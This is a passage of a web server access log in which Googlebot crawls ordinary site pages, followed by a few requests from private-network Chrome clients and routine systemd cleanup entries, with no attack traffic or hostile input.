[20/Aug/2025:10:03:40 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:40 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:40 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:45 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:45 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:45 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:45 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:45 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:45 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:45 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:45 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:50 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:50 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:50 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:50 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:50 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:50 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:50 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:50 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:50 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:55 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:55 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:03:55 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:03:55 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:55 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:03:55 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:03:55 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:03:55 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:00 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:00 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:00 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:00 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:00 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:00 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:00 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:00 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:00 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:05 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:05 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:05 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:05 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:05 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:05 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:05 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:05 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:05 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:05 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:10 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:10 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:10 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:10 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:10 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:10 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:10 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:10 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:10 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:10 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:15 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:15 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:15 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:15 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:15 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:15 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:15 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:20 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:20 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:20 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:20 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:20 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:20 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:20 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:20 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:20 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:25 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:25 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:25 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:25 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:25 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:25 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:25 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:25 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:30 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:30 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:30 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:30 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:30 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:30 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:30 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:35 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:35 ] "GET /faq HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:35 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:35 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:35 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:35 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:35 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:40 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:40 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:40 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:40 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:40 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:40 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:40 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:40 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:40 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:45 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:45 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:45 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:45 ] "GET /index.html HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:45 ] "GET /blog/article-123 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:45 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:45 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:45 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:45 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:45 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:50 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:50 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:50 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:50 ] "GET /contact HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.1 - - [20/Aug/2025:10:04:50 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:50 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:50 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:50 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:50 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:55 ] "GET /about HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:55 ] "GET /products/1 HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:55 web-server[8080]: 66.249.66.10 - - [20/Aug/2025:10:04:55 ] "GET /terms-of-service HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:55 web-server[8080]: 66.249.66.12 - - [20/Aug/2025:10:04:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:04:55 web-server[8080]: 66.249.66.5 - - [20/Aug/2025:10:04:55 ] "GET /products/category/electronics HTTP/1.1" 200 1512 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 20 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:00 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:05:00 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:05 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:05:05 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:25 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:05:25 ] "GET /faq HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:35 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:05:35 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:40 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:05:40 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:45 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:05:45 ] "GET /blog/article-123 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:50 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:05:50 ] "GET /about HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:05:55 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:05:55 ] "GET /index.html HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:05 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:06:05 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 